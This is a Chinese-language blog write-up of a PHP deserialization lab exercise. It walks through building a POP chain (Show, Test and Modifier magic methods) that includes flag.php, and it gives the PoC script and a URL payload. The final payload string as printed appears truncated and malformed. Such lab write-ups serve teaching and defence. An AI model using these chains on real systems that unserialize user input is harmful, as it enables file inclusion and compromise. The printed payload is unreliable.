首页 > 编程语言 >记一次php反序列化漏洞中的POPchain和POC构造实战

记一次php反序列化漏洞中的POPchain和POC构造实战

时间:2024-04-09 20:55:23浏览次数:27  
标签:__ function 触发 POPchain public source str 序列化 POC

来自于橙子科技反序列化靶场

源代码如下:

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

第一步:找链尾

我们的目的是得到flag,直接找flag这个关键词,发现:

class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

注意echo $flag;,根据提示,flag存在于flag.php中,那我们需要做的是将这个文件include进来;
注意到include($value);显然这里的$value需要赋值为flag.php。完成这一步的前提是触发append函数。接下来的问题是,如何触发append函数。

第二步:如何触发append函数

向下寻找,发现__invoke魔术方法,这个魔术方法的触发条件是对象被当成函数一样调用,这样的话就会将var作为append的参量并触发append函数。

第三步:如何触发__invoke()函数

既然是要求对象被当成函数一样调用,纳闷我们就要找类似于_fun() _这样的东西。继续看代码,发现:

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

在__get方法中,有return $function();我们只要将$function的值赋为类Modifier的一个实例即可触发类Modifier中的__invoke方法。

第四步:如何触发__get()方法

了解到__get()魔术方法是用于从不可访问的属性读取数据,简单说来就是当程序调用类里面不存在的对象的时候会调用__get()方法。还是继续看程序,最好是找有连续调用的地方,方便我们进行赋值。注意到:

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

其中line5中,出现了连续调用return $this->str->source;我们可以将$str的值赋为类Test的一个实例,显然类Test中没有source对象,这样的话就能触发类中的__get方法了。

第五步:如何触发__toString()方法

__toString() 把类当作字符串使用时触发,返回值需要为字符串。
还是在源代码里面开找,找和字符串相关的语句。发现:

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

其中__wakeup()方法中,echo $this->source;。只要我们将source的值赋为类Show的一个实例即可调用类Show中的__toString()方法。

第六步(链首):如何触发__wakeup()方法

最简单的一集,使用unserialize()时触发

使用反推法整理完这六步之后,下面开始构造POC
首先对源代码进行处理,如下:

<?php
class Modifier {
    private $var;
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
?>

删去不必要的方法和语句。
然后进行popchain构造。

<?php
class Modifier {
    private $var="flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$mod=new Modifier();
$show=new Show();
$test=new Test();

$test->p=$mod;
$show->str=$test;
$show->source=$show;
echo serialize($show);
?>

得到payload
?pop={s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

标签:__,function,触发,POPchain,public,source,str,序列化,POC
From: https://www.cnblogs.com/Tperm/p/18124786

相关文章

  • Rome反序列化链分析
    环境搭建<dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><de......
  • .net xml序列化与xml反序列化
    序列化stringxmlStr="";vardto=newReqDto(){ErrorCode=200,ReqName="test"};XmlSerializerserializer=newXmlSerializer(typeof(ReqDto));using(StringWritertextWriter=newStringWriter()){serializer.Serialize(textWr......
  • Django框架之序列化组件
    一、为什么要序列化呢?我们在写一些项目前后端是分离的,这意味着无法直接利用django提供的模版语法来实现前后端的数据交互,需要将数据转换成前后端都能接收处理的格式,即json,一般的格式都是列表套字典。那么我的前端想拿到由ORM得到的数据库里面的一个个用户对象,而我的后端也想直接......
  • @JSONField 坑点 结论:若属性是私有的,必须有set*方法。否则无法反序列化。
    @JSONField坑点结论:若属性是私有的,必须有set*方法。否则无法反序列化。@JSONField坑点结论:若属性是私有的,必须有set*方法。否则无法反序列化。原因:主要原因是JSONField注解是通过反射来操作对象的属性的,而在Java类中一般情况下,字段是私有的,不能直接访问。所以需要......
  • Spring反序列化JNDI分析
    漏洞原理Spring框架的JtaTransactionManager类中重写了readObject方法,这个方法最终会调用到JNDI中的lookup()方法,关键是里面的参数可控,这就导致了攻击者可以利用JNDI注入中的lookup()参数注入,传入恶意URI地址指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表......
  • 数据序列化
    ★什么是数据的序列化数据的序列化指的是将数据从其原始格式转换为一种可存储或传输的格式,通常是字节流或字符串的形式。这样做的目的是为了能够在不同系统、编程语言或设备之间进行数据交换、存储或传输,同时保持数据的结构完整性。★序列化的应用场景:数据传输序列化可用......
  • 序列化二叉树
    请实现两个函数,分别用来序列化和反序列化二叉树。您需要确保二叉树可以序列化为字符串,并且可以将此字符串反序列化为原始树结构。数据范围树中节点数量 [0,1000]。样例你可以序列化如下的二叉树8/\122/\64为:"[8,12,2,null,null,6,......
  • php反序列化——字符逃逸增加
    题目 放到本地环境 发现是这种情况:a:2:{i:0;s:1:"x";i:1;s:5:"aaaaa";}分成两部分: a:2:{i:0;s:1:"x              ";i:1;s:5:"aaaaa";}现在需要做的就是自己构造第二部分:  ";i:1;s:6:"123456";}  一共20个字符经过preg_replace函数 ......
  • JDBC反序列化分析
    环境依赖<dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.19</version></dependency>原理分析Java序列化对象的标识符找两个序列化后的bin文件,进行对比,可以发现前两个字节是固定的AC, ED,变十进制就是-......
  • 政安晨:【Keras机器学习实践要点】(十)—— 自定义保存和序列化
    目录导言涵盖的APISetup状态保存自定义构建和编译保存自定义结论政安晨的个人主页:政安晨欢迎 ......